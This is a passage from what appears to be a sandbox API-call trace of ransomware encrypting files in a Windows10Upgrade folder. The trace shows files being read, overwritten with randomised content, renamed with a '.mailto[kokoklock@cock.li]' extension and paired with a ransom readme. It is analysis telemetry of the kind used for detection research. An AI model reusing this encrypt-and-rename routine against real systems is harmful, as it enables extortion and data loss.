lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\bluelogo.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.833] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.834] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e69c0) returned 1 [0075.834] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png", dwFileAttributes=0x20) returned 0 [0075.834] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347dee0 [0075.834] wcscpy (in: _Dest=0x347dee0, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0075.834] wcscat (in: _Dest=0x347dee0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" [0075.834] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\d0e731-readme.txt")) returned 0x20 [0075.834] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dee0) returned 1 [0075.834] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427068) returned 1 [0075.834] RtlExitUserThread (Status=0x1) Thread: id = 781 os_tid = 0x10b4 [0075.835] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bullet.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\bullet.png")) returned 0x20 [0075.835] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bullet.png", dwFileAttributes=0x20) returned 1 [0075.835] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bullet.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\bullet.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9e8 [0075.836] GetFileSizeEx (in: hFile=0x9e8, lpFileSize=0x1d43fca4 | out: lpFileSize=0x1d43fca4*=221) returned 1 [0075.836] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0xd9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.836] ReadFile (in: hFile=0x9e8, lpBuffer=0x1d43fc78, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d43fc74, lpOverlapped=0x0 | out: lpBuffer=0x1d43fc78*, lpNumberOfBytesRead=0x1d43fc74*=0x4, lpOverlapped=0x0) returned 1 [0075.837] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.837] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0075.837] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0075.837] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478d28 [0075.837] NtQuerySystemTime (in: CurrentTime=0x1d43fc50 | out: CurrentTime=0x1d43fc50*=132121176337378128) returned 0x0 [0075.837] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0xb35c213f [0075.837] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0x6f4eba39 [0075.837] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0xa6120811 [0075.837] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0x7b65a17c [0075.837] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0x76cbca98 [0075.837] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0x73ce8b54 [0075.837] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0x8414f11 [0075.837] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0xe569f829 [0075.837] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0x4996c67d [0075.837] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0xfa7da5c7 [0075.837] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0x509a2711 [0075.837] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0xabe319d9 [0075.837] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0x974452e2 [0075.837] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0xe3c2842 [0075.838] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0x21b74d7b [0075.838] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0x4f6e30e1 [0075.838] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0x8052ca4f [0075.838] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0x5aa226c7 [0075.838] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0xbec63187 [0075.838] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0xb91bdf64 [0075.838] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0xc1d7ebfd [0075.838] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0x3c7b5c26 [0075.838] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0x865b9aa2 [0075.838] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0x598b52d6 [0075.838] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0x9c25ffc [0075.838] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0x79ce29a7 [0075.838] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0x417b588c [0075.838] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0x22f46513 [0075.838] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0xc38b017c [0075.838] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0x809ab0de [0075.838] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0x5a16cac8 [0075.838] RtlRandom (in: Seed=0x1d43fc5c | out: Seed=0x1d43fc5c) returned 0x7a17e185 [0075.849] ReadFile (in: hFile=0x9e8, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x1d43fc50, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1d43fc50*=0xdd, lpOverlapped=0x0) returned 1 [0075.849] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1d43fc18 | out: lpNewFilePointer=0x0) returned 1 [0075.849] WriteFile (in: hFile=0x9e8, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x1d43fc4c, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1d43fc4c*=0xdd, lpOverlapped=0x0) returned 1 [0075.849] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478878 [0075.849] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34788a0 [0075.849] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34788a0) returned 1 [0075.849] WriteFile (in: hFile=0x9e8, lpBuffer=0x3478878*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d43fc48, lpOverlapped=0x0 | out: lpBuffer=0x3478878*, lpNumberOfBytesWritten=0x1d43fc48*=0x20, lpOverlapped=0x0) returned 1 [0075.849] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478878) returned 1 [0075.849] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.849] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.849] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.849] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.849] WriteFile (in: hFile=0x9e8, lpBuffer=0x34789b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1d43fc74, lpOverlapped=0x0 | out: lpBuffer=0x34789b8*, lpNumberOfBytesWritten=0x1d43fc74*=0x8, lpOverlapped=0x0) returned 1 [0075.849] WriteFile (in: hFile=0x9e8, lpBuffer=0x1d43fc8c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d43fc74, lpOverlapped=0x0 | out: lpBuffer=0x1d43fc8c*, lpNumberOfBytesWritten=0x1d43fc74*=0x4, lpOverlapped=0x0) returned 1 [0075.850] WriteFile (in: hFile=0x9e8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d43fc74, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1d43fc74*=0x4, lpOverlapped=0x0) returned 1 [0075.850] WriteFile (in: hFile=0x9e8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1d43fc74, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1d43fc74*=0x6c, lpOverlapped=0x0) returned 1 [0075.850] WriteFile (in: hFile=0x9e8, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d43fc74, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1d43fc74*=0x20, lpOverlapped=0x0) returned 1 [0075.850] WriteFile (in: hFile=0x9e8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d43fc74, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1d43fc74*=0x4, lpOverlapped=0x0) returned 1 [0075.850] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0075.850] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478d50) returned 1 [0075.850] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34789b8) returned 1 [0075.850] CloseHandle (hObject=0x9e8) returned 1 [0075.850] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e69c0 [0075.850] wcscpy (in: _Dest=0x33e69c0, _Source="C:\\Windows10Upgrade\\resources\\ux\\bullet.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\bullet.png") returned="C:\\Windows10Upgrade\\resources\\ux\\bullet.png" [0075.850] wcscat (in: _Dest=0x33e69c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\bullet.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\bullet.png.mailto[kokoklock@cock.li].d0e731" [0075.850] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\bullet.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\bullet.png"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\bullet.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\bullet.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.851] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bullet.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.851] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e69c0) returned 1 [0075.851] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bullet.png", dwFileAttributes=0x20) returned 0 [0075.851] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347dee0 [0075.851] wcscpy (in: _Dest=0x347dee0, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0075.851] wcscat (in: _Dest=0x347dee0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" [0075.851] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\d0e731-readme.txt")) returned 0x20 [0075.851] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dee0) returned 1 [0075.851] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480240) returned 1 [0075.851] RtlExitUserThread (Status=0x1) Thread: id = 782 os_tid = 0x10d8 [0075.855] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.css")) returned 0x20 [0075.855] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.css", dwFileAttributes=0x20) returned 1 [0075.855] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9e8 [0075.855] GetFileSizeEx (in: hFile=0x9e8, lpFileSize=0x1d4bf870 | out: lpFileSize=0x1d4bf870*=5767) returned 1 [0075.855] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x1683, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.856] ReadFile (in: hFile=0x9e8, lpBuffer=0x1d4bf844, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d4bf840, lpOverlapped=0x0 | out: lpBuffer=0x1d4bf844*, lpNumberOfBytesRead=0x1d4bf840*=0x4, lpOverlapped=0x0) returned 1 [0075.857] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.857] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0075.857] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0075.857] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478d50 [0075.857] NtQuerySystemTime (in: CurrentTime=0x1d4bf81c | out: CurrentTime=0x1d4bf81c*=132121176337540177) returned 0x0 [0075.857] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0xafc2992 [0075.857] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0x2fb6e1f2 [0075.857] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0x9fe3c60 [0075.857] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0xa1f730a9 [0075.857] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0xbbdfff44 [0075.857] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0x5739a23 [0075.857] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0x37e23749 [0075.857] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0xda21cdcc [0075.857] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0x567b6536 [0075.857] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0x7a5abeb9 [0075.857] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0xb84fff36 [0075.858] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0xf1c961fd [0075.858] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0xc7445162 [0075.858] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0x8bfc0982 [0075.858] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0xe846761b [0075.858] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0xe0376061 [0075.858] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0xecf72d7d [0075.858] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0x77b4ab78 [0075.858] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0xd25b0e00 [0075.858] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0x43305e04 [0075.858] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0x2256be0 [0075.858] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0xd6a39877 [0075.858] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0xead788a3 [0075.858] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0x4bfe33e4 [0075.858] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0x49005678 [0075.858] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0x2f3fc4d9 [0075.858] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0x88057688 [0075.858] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0x55c79dfc [0075.858] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0x7af58358 [0075.858] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0x96e54a53 [0075.858] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0x4139764a [0075.858] RtlRandom (in: Seed=0x1d4bf828 | out: Seed=0x1d4bf828) returned 0x18ffae11 [0075.870] ReadFile (in: hFile=0x9e8, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x1687, lpNumberOfBytesRead=0x1d4bf81c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1d4bf81c*=0x1687, lpOverlapped=0x0) returned 1 [0075.871] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1d4bf7e4 | out: lpNewFilePointer=0x0) returned 1 [0075.871] WriteFile (in: hFile=0x9e8, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x1687, lpNumberOfBytesWritten=0x1d4bf818, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1d4bf818*=0x1687, lpOverlapped=0x0) returned 1 [0075.871] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34788a0 [0075.871] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34788c8 [0075.871] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34788c8) returned 1 [0075.871] WriteFile (in: hFile=0x9e8, lpBuffer=0x34788a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d4bf814, lpOverlapped=0x0 | out: lpBuffer=0x34788a0*, lpNumberOfBytesWritten=0x1d4bf814*=0x20, lpOverlapped=0x0) returned 1 [0075.871] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34788a0) returned 1 [0075.871] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.871] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.871] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.871] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.871] WriteFile (in: hFile=0x9e8, lpBuffer=0x34789b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1d4bf840, lpOverlapped=0x0 | out: lpBuffer=0x34789b8*, lpNumberOfBytesWritten=0x1d4bf840*=0x8, lpOverlapped=0x0) returned 1 [0075.871] WriteFile (in: hFile=0x9e8, lpBuffer=0x1d4bf858*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d4bf840, lpOverlapped=0x0 | out: lpBuffer=0x1d4bf858*, lpNumberOfBytesWritten=0x1d4bf840*=0x4, lpOverlapped=0x0) returned 1 [0075.871] WriteFile (in: hFile=0x9e8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d4bf840, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1d4bf840*=0x4, lpOverlapped=0x0) returned 1 [0075.871] WriteFile (in: hFile=0x9e8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1d4bf840, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1d4bf840*=0x6c, lpOverlapped=0x0) returned 1 [0075.871] WriteFile (in: hFile=0x9e8, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d4bf840, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1d4bf840*=0x20, lpOverlapped=0x0) returned 1 [0075.872] WriteFile (in: hFile=0x9e8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d4bf840, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1d4bf840*=0x4, lpOverlapped=0x0) returned 1 [0075.872] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0075.872] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478878) returned 1 [0075.872] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34789b8) returned 1 [0075.872] CloseHandle (hObject=0x9e8) returned 1 [0075.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e69c0 [0075.872] wcscpy (in: _Dest=0x33e69c0, _Source="C:\\Windows10Upgrade\\resources\\ux\\default.css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default.css") returned="C:\\Windows10Upgrade\\resources\\ux\\default.css" [0075.872] wcscat (in: _Dest=0x33e69c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default.css.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\default.css.mailto[kokoklock@cock.li].d0e731" [0075.872] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\default.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.css"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\default.css.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.css.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.873] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.css.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.873] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e69c0) returned 1 [0075.873] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.css", dwFileAttributes=0x20) returned 0 [0075.873] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347dee0 [0075.873] wcscpy (in: _Dest=0x347dee0, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0075.873] wcscat (in: _Dest=0x347dee0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" [0075.873] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\d0e731-readme.txt")) returned 0x20 [0075.873] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dee0) returned 1 [0075.873] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426e60) returned 1 [0075.873] RtlExitUserThread (Status=0x1) Thread: id = 783 os_tid = 0x10e0 [0075.874] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.htm")) returned 0x20 [0075.875] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.htm", dwFileAttributes=0x20) returned 1 [0075.875] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9e8 [0075.875] GetFileSizeEx (in: hFile=0x9e8, lpFileSize=0x1d53fd00 | out: lpFileSize=0x1d53fd00*=62541) returned 1 [0075.875] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0xf449, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.875] ReadFile (in: hFile=0x9e8, lpBuffer=0x1d53fcd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d53fcd0, lpOverlapped=0x0 | out: lpBuffer=0x1d53fcd4*, lpNumberOfBytesRead=0x1d53fcd0*=0x4, lpOverlapped=0x0) returned 1 [0075.877] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.877] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0075.877] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0075.877] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478878 [0075.877] NtQuerySystemTime (in: CurrentTime=0x1d53fcac | out: CurrentTime=0x1d53fcac*=132121176337690444) returned 0x0 [0075.877] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0x6f086b39 [0075.877] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0x94f3f85a [0075.877] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0x6abeb2a7 [0075.877] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0x936791f6 [0075.877] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0x3bb888f4 [0075.877] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0xf2dd3a2d [0075.877] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0x325deb57 [0075.877] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0xc63fee4d [0075.877] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0xbefafa1c [0075.877] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0x361ef161 [0075.877] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0x4003e48c [0075.877] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0x6fdd6cd8 